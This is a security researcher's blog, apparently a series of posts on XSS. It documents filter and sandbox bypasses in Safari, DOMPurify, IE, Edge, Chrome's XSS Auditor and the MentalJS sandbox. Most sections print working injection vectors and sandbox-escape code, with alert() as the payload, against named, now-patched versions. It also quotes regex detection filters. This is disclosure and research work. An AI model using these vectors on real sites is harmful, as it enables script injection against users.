Rewriting relative urls with the base tag in Safari

I tweeted this a while ago but Twitter sucks when it comes to finding anything and I thought it was good enough for a blog post. Way back in Safari 3.0 and Internet Explorer 5.5 and the old Opera you could mess with JavaScript urls and the base tag. Me, Mario and Brainpillow documented this on HTML5 security cheatsheet ages ago. The original vector allows you to use inject a JavaScript url in the base tag and the payload appears in the anchor. But what if we add the payload in the base tag itself then we can rewrite relative and blank urls to a JavaScript payload.

You inject a base tag with your payload:

<base href="javascript:/a/-alert(1)///////">

Notice the forward slashes at the end of the payload, this fools Safari into thinking that they are folders. Then relative urls get converted to JavaScript urls like:

<a href=../lol/safari.html>test</a>
<a href>haha</a>

The base url combines with the anchor, even a blank anchor to execute the payload. This works on the latest version of Safari (11.1.2) at the time of the blog post.

Proof of concept (Safari only)

Bypassing DOMPurify with mXSS

I noticed DOMPurify would let you use the title tag when injecting a self closing SVG. Normally it blocks title outside of SVG however using the self closing trick you could bypass that restriction.

<svg/><title>

Injecting the title tag is important because it mutates, as I’ve tweeted about in the past. In order for the mXSS to be effective I needed to inject the title tag outside of SVG as DOMPurify/Edge would correctly encode the HTML. I found you could use “x” as a self closing tag in DOMPurify and this would enable me to use the title tag outside of SVG. For example:

IN:
<x/><title>test

OUT:
<title>test</title>

Great so I could get mXSS right? Well almost. I injected a mXSS vector with my “x” trick.

IN:
<x/><title>&lt;/title&gt;&lt;img src=1 onerror=alert(1)&gt;

OUT:
<title></title><img src="1">

Damn, so DOMPurify was detecting the malicious HTML and removing the onerror attribute. But then I thought what if this attribute is being read multiple times, maybe I could inject a mXSS vector that mutates more than once. Here is the final vector that is encoding multiple times so it bypasses DOMPurify attribute checks.

IN:
<x/><title>&amp;lt;/title&amp;gt;&amp;lt;img src=1 onerror=alert(1)&amp;gt;

OUT:
<title></title><img src=1 onerror=alert(1)></title>

The vector has been fixed in the latest version of Edge and also has been patched in DOMPurify version 1.0.7. If you want to experiment with the bypass then use DOMPurify 1.0.6 and Microsoft Edge 41.16299.547.0.

New IE mutation vector

I was messing around with a filter that didn’t correctly filter attribute names and allowed a blank one which enabled me to bypass it. I thought maybe IE had similar issues when rewriting innerHTML. Yes it does of course :)

The filter bypass worked like this:

<img ="><script>alert(1)</script>">

The filter incorrectly assumed it was still inside an attribute and therefore allowed raw html to be injected and the various browsers treat it as an invalid attribute and execute the script. I then decided to fuzz the attribute name to see what characters are allowed. IE of course proved to be interesting because two equals one as an attribute name created an invalid attribute.

I began to use my mXSS tool to see if I could find a new vector. Attribute names with equals seemed a good place to start. After various tests using multiple attributes and mixing quotes I found a vector using an equal after the tag name.


<div='/x=&quot;&#39&gt;&lt;iframe/onload=alert(1)&gt;'>

PoC

IE renders the entities inside the x attribute and therefore breaks out of the attribute when innerHTML is read. If you remove the equal after the tag name the vector no longer works so maybe the parser loses track of the character position or confuses itself which quotes the attribute is part of.

How I smashed MentalJS

I’m proud to introduce a guest blogger on The Spanner. Jann Horn is a IT Security student in fourth semester and works for Cure53. He has found security issues in a bunch of open source projects, including OpenSSH(CVE-2014-2532), Chromium(CVE-2014-1726,CVE-2015-1247), Android(CVE-2014-7911) and Angular. He’s also a member of the university CTF team FluxFingers. Jann has been testing my MentalJS project and found some really cool flaws…

MentalJS vuln writeup

This is a writeup about three somewhat similar ways to escape the MentalJS sandbox
(and two bugs that didn’t lead to a sandbox escape) that I reported to
Gareth Heyes 2015-04-28 and 2015-04-29. All these bugs are
fixed now.

Wrecking the parser

MentalJS is relatively permissive: Among other things, you are allowed to access most constructors
and prototypes, including Object.prototype.
This permits setting default properties on any object – but MentalJS restricts that to properties
that are either numeric or end with a dollar sign.

MentalJS parses and rewrites attacker-supplied JavaScript code. While parsing it, MentalJS uses a big
two-dimensional object that contains the allowed state transitions of the parser:

rules = {
0 : {//ArrayComma
0 : 1, //ArrayComma
1 : 1, //ArrayOpen
[…]
135 : 1, //Undefined
137 : 1, //VarIdentifier
138 : 1, //VarComma
139 : 1, //Void
141 : 1, //WithStatementParenOpen
146 : 1 //WhileStatementParenOpen

},
1 : {//ArrayOpen
0 : 1, //ArrayComma
1 : 1, //ArrayOpen
[…]
152 : 1, //ZeroRightShift
153 : 1 //ZeroRightShiftAssignment

},
2 : {//ArrayClose
0 : 1, //ArrayComma
1 : 1, //ArrayOpen
[…]
135 : 1, //Undefined
137 : 1 //VarIdentifier

},
[…]
}

Note how allowed state transitions have value 1 while forbidden state transitions
are implicitly undefined.

So this is the first part of the attack: Spam numeric properties of Object.prototype
with 1, which basically fills the
whole table of allowed state transitions with 1, altering the parser’s behavior:

for (var i=0; i<1000; i++) Object.prototype[i]=1

Now, in subsequent runs, the parser parses JavaScript code weirdly: It will permit some things
that JavaScript doesn’t normally allow, and it will misinterpret valid code, too. Have a look at
the following code:

3 / alert(location) / 1

Clearly, this code just performs two divisions and an alert(), and that is what MentalJS
normally parses it as, too. This is the code after sanitizing:

3 / alert$(location$) / 1

However, after the parser-wrecking attack, it treats the two slashes and
the code between them as a regex, which means that it won’t sanitize that code – this is the sanitized
output for the same input string after the parser-wrecking attack has been performed:

3/ alert(location) /1

To turn this into a full attack, some way is needed to invoke the parser again after untrusted code
has already run. Luckily (for the attacker), MentalJS offers an eval() method that will sanitize and
then execute code passed to it. So, this is the full bypass:

for (var i=0; i<1000; i++) Object.prototype[i]=1;eval('3 / alert(location) / 1')

XSS via <script> innerHTML

Here, I basically revived the second issue from
this post. The original problem was that it was
possible to set the innerHTML property of script elements through the setter for Element.prototype.innerHTML$,
which sanitizes data for use in a normal HTML context, but not for use as JS code.
The fix was to prevent using
innerHTML$ on script tags by overriding the setter for script tags with
HTMLScriptElement.prototype.innerHTML$, a no-op setter. This could be bypassed by deleting the innerHTML$
property from HTMLScriptElement.prototype, exposing the old setter for script elements again:

parent=document.getElementsByTagName(‘body’)[0];
x=document.createElement(‘script’);
delete x.constructor.prototype.innerHTML;
x.innerHTML=’alert(location)';
parent.appendChild(x);

Code execution through setTimeout

MentalJS allows sandboxed code to use setTimeout() through the wrapper function
setTimeout$(). This wrapper used window.Function$() to sanitize untrusted code passed
as a string, then invoked setTimeout() with the resulting function:

function(func, time) {
time = +time;
if ( typeof func !== ‘function’) {
func = Function$(func);
}
var id = +setTimeout(func, time);
setTimeoutIDS[id] = true;
return id;
};

The basic idea behind this attack is to replace window.Function$ with a function that simply
returns its argument, thereby allowing an attacker to pass arbitrary strings to setTimeout().
This is the code that defines window.Function$:

Object.defineProperties(window, {
[…]
‘Function$’ : {
configurable : true,
writable : false,
value : FUNCTION
},
[…]
});

As you can see, the property is defined as non-writable, meaning it’s not possible to simply overwrite it.
However, it was configurable, so it was possible to delete the property and subsequently recreate it with a
different value:

delete window.Function;
window.Function = function(x){ return x; };
setTimeout(‘alert(location)’, 0);

Invalid unicode escapes in identifiers

MentalJS validated unicode escapes in identifiers by prefixing the four characters following \u with
'0x' and casting the result to a number:

hex = +(‘0x’ + chr2 + chr3 + chr4 + chr5);
if (hex === hex && hex !== hex) {
error(“Invalid unicode escape. Expected valid hex sequence.”);
}
[ more checks on `hex` ]

While ToNumber() is relatively
strict compared to parseInt(), it permits trailing whitespace (WhiteSpace and LineTerminator)
behind numbers. This caused MentalJS to parse the string foo\u041 bar as a single identifier, causing it to
execute the rewritten code foo\u041 bar$. However, it seems that at least the JS engines of Chrome, Firefox
and IE are strict about unicode escapes and do not permit them to be too short, so I think that this wasn’t exploitable.

Normalization of numbers

MentalJS normalizes numbers a bit and does not permit octal number literals: For example, if you enter 00001 as
code, it will be normalized to 1, and 00000 will be normalized to 0.

As you can see, a literal that’s all zeroes is a bit special: Removing all the zeroes would remove the literal from the code
and alter its meaning. This was the code snippet responsible for fixing up this edgecase:

if (states.zeroFirst && !states.output.length) {
states.output = ‘0’;
}

This code replaces the output with a zero if it would otherwise have been empty. However, this doesn’t work properly if the
output is not empty because the number contains an 'e': After sanitizing, 0e+1 becomes
e+1, which MentalJS intends to be a number but the browser will parse as an addition of e and
1. However, I was unable to figure out a way to exploit this.

MentalJS DOM bypass

Ruben Ventura (@tr3w_) found a pretty cool bypass of MentalJS. He used insertBefore with a null second argument which allows you to insert a node into the dom and bypass my sandboxing restrictions. The vector is below:-


_=document

x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = '*/alert(location)//'

t=_.createElement('b')
t.textContent = '/*'
x.insertBefore(t.firstChild, null);
x.insertBefore(s, null)
_.body.appendChild(x)

x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = _.getElementsByTagName('script')[2].textContent

x.insertBefore(s.firstChild, null)
_.body.appendChild(x)

It can actually be compressed to the following:

s=document.createElement('script');
s.insertBefore(document.createTextNode('alert(location)'),null);
document.body.appendChild(s);

The fix was to check if the second argument is null and the parent node is a script. Clean the script and then sandbox the code. Hopefully that will fix the attack, I couldn’t see a way to use insertBefore without a null argument to cause another bypass.

Update…

@tr3w_ broke my fix :) he used undefined instead of null to bypass my condition and also cleverly used insertBefore with a node that occurs within the script to bypass cleaning the script and inject his code.


with(document) {
s = createElement('script');
s.insertBefore(createTextNode('alert(location)'), [][[]]);
body.appendChild(s);
}


with(document) {
s = createElement('script');
s.insertBefore(createTextNode('/**/'),null);
s.insertBefore(createTextNode('alert(location)'),s.firstChild);
}

Another XSS auditor bypass

This bug is similar to the last one I posted but executes in a different context. It requires an existing script after the injection because we use it to close the injected script. It’s a shame chrome doesn’t support self closing scripts in HTML or within a SVG element because I’m pretty sure I could bypass it without using an existing script. Anyway the injection uses a data url with a script. In order to bypass the filter we need to concat the string with the quote from the attribute or use html entities such as &sol;&sol;. The HTML parser doesn’t care how much junk is between the opening and closing script since we are using a src attribute.

PoC
PoC2

XSS Auditor bypass

XSS Auditor is getting pretty good at least in the tests I was doing however after a bit of testing I found a cool bypass. Without studying the code it seems that it checks for valid JavaScript within the vector, I thought I could use this to my advantage. I came up with the idea of using an existing script block to smuggle my vector and reusing the closing script on the page. The page contains a script block like this:


<script>x = "MY INJECTION"</script>

As every XSS hacker knows you can use a “</script>” block to escape out of the script block and inject a HTML XSS vector. So I broke out of the script block and used the trailing quote to form my vector. Like so:


</script><script>alert(1)+"

You could of course use a standard ",alert(1)," but what if quotes are filtered? I then came up with the idea of using SVG and an HTML escaped quote. This bypasses the filter and is a HTML XSS vector that doesn’t have a DOM vulnerability so it’s within scope of the filter and is very common in my experience. Here is the final vector:


<script>
x = "</script><svg><script>alert(1)+&quot;";

XSS auditor PoC

Bypassing the IE XSS filter

Mario noticed that the new version of the IE filter blocks anchors in attempt to prevent the same origin bypass where you double encode the vector and post a link to itself. I had to take a look and see if I could break it and…of course I did. The regex is very generic:-

<a.*?hr{e}f

This could cause problems with information disclosure if you can put something in between the “a” and “href” and detect if the filter is active which I’ll admit is pretty tricky now with the new protection against such attacks. Anyway lets move onto the vectors. I literally found the bypass in about 30 minutes, using an existing form it’s possible to inject a button that submits an existing form to inject the vector into itself with an encoded payload.

XSS filter bypass using formaction PoC

Ok onto the next bypass which is pretty simple. In the regexes they look for “http-equiv” in the meta element but forget about “charset”. Charset has worked in IE for years and even though it’s a HTML5 standard it works in quirks mode too. We can inject a UTF-7 vector which executes nicely. Here is the second Poc.

XSS filter bypass using meta charset

Unbreakable filter

I was bored so I thought I’d take a look at Ashar’s filters. I noticed he’d done a talk about it at Blackhat Europe which I was quite surprised at. Then I came across the following blog post about the talk which I pretty much agreed with. That blog post links to his filters so you can try them out yourself.

The first one is basically multiple JavaScript regexes which are far too generic to be of any value. For example “hahasrchaha” is considered a valid attack =) because it has “src” in. I’m not joking. The regexes are below.


function test(string) {
var match = /]*>[\s\S]*?/i.test(string) ||
/[\s"\'`;\/0-9\=\x0B\x09\x0C\x3B\x2C\x28]+on\w+[\s\x0B\x09\x0C\x3B\x2C\x28]*=/i.test(string) ||
/(?:=|U\s*R\s*L\s*\()\s*[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/i.test(string) ||
/%[\d\w]{2}/i.test(string) ||
/&#[^&]{2}/i.test(string) ||
/&#x[^&]{3}/i.test(string) ||
/&colon;/i.test(string) ||
/[\s\S]src[\s\S]/i.test(string) ||
/[\s\S]data:text\/html[\s\S]/i.test(string) ||
/[\s\S]xlink:href[\s\S]/i.test(string) ||
/[\s\S]base64[\s\S]/i.test(string) ||
/[\s\S]xmlns[\s\S]/i.test(string) ||
/[\s\S]xhtml[\s\S]/i.test(string) ||
/[\s\S]href[\s\S]/i.test(string) ||
/[\s\S]style[\s\S]/i.test(string) ||
/[\s\S]formaction[\s\S]/i.test(string) ||
/[\s\S]@import[\s\S]/i.test(string) ||
/[\s\S]!ENTITY.*?SYSTEM[\s\S]/i.test(string) ||
/[\s\S]pattern(?=.*?=)[\s\S]/i.test(string) ||
/
]*>[\s\S]*?/i.test(string) ||
/]*>[\s\S]*?/i.test(string) ||
/]*>[\s\S]*?/i.test(string) ||
/
]*>[\s\S]*?/i.test(string) ||
/]*>[\s\S]*?/i.test(string) ||
/]*>?[\s\S]*?/i.test(string) ||
/]*>?[\s\S]*?/i.test(string);
return match ? 'Filter has catch your awesome vector ... Try hard :(' : 'Bypass :)';
}

Because the filter is so bad it makes it fun to find a vector. The following vector will bypass the rule:


<button form=x>xss<form id=x action="javas&Tab;cript:alert(1)"

Other examples are:-

@\import
javas&NewLine;cript:alert(1)

Ashar also claimed his new filter was “unbreakable”. There wasn’t a lot of code but still it was badly broken. Let’s talk a look at that code

function attributeContextCleaner($input) {
$bad_chars = array("\"", "'", "``");
$safe_chars = array("&quot;", "&apos;", "&grave;");
$output = str_replace($bad_chars, $safe_chars, $input);
return stripslashes($output);
}

Can you see it? Yeah he uses ““” instead of “`” so the code will look for two “`” rather than one but still that is not all. He uses stripslashes too for some random reason and we can use that to bypass the XSS Filter in IE. Not only does this code contain a glaring hole that it’s supposed to protect against but it also enables the XSS vector to function.


<?php
function attributeContextCleaner($input) {
$bad_chars = array("\"", "'", "``");
$safe_chars = array("&quot;", "&apos;", "&grave;");
$output = str_replace($bad_chars, $safe_chars, $input);
return stripslashes($output);
}
?>
<img title=`<?php echo attributeContextCleaner($_GET['x'])?>` />

The vector to bypass the function and the XSS filter is:-

?x=`src=1 \0\0\0\0onerror=`alert(1)`

Stripslashes in PHP kindly removes all \0 for us which enables us to bypass the filter. This obviously only works in compat mode where “`” is an allowed attribute quote. In conclusion I don’t recommend using any of the filters. Try mario’s instead.

Update…

It seems Ashar intended to cover innerHTML mutations with his “ check so it wasn’t a mistype. So I decided to break that instead with:

`\`onerror=alert(1)//

This works on older versions of IE and breaks his intended fix for that context.

MentalJS bypasses

I managed to find time to fix a couple of MentalJS bypasses by LeverOne and Soroush Dalili (@irsdl). LeverOne’s vector was outstanding since it bypassed the parsing itself which is no easy task. The vector was as follows:


for(var i
i/'/+alert(location);0)break//')

Basically my parser was inserting a semi colon in the wrong place causing a different state than the actual state executed. My fix inserts the semi colon in the correct place. Before the fix the rewritten code looked like this:


for (var i$i$; / '/+alert(location);0)break//')

As you can see the variables have been incorrectly joined and so the next state is a regex whereas Mental thinks it’s a divide. After the fix the rewritten code looks like this:


for (var i$;i$ / '/+alert(location);0)break//')

So now the divide is an actual divide. Technically I shouldn’t be inserting a semi-colon in the for statement, I might fix this at a later stage if I have time.

The second bypass was from Soroush that basically assigned innerHTML on script nodes bypassing the rewriting completely. Cool bug. The fix was pretty simple, I prevented innerHTML assignments on script nodes. Here is the bypass:-


parent=document.getElementsByTagName('body')[0];
img=document.getElementsByTagName('img')[0];
x=document.createElement('script');
x.innerHTML='alert(location)';
parent.appendChild(x);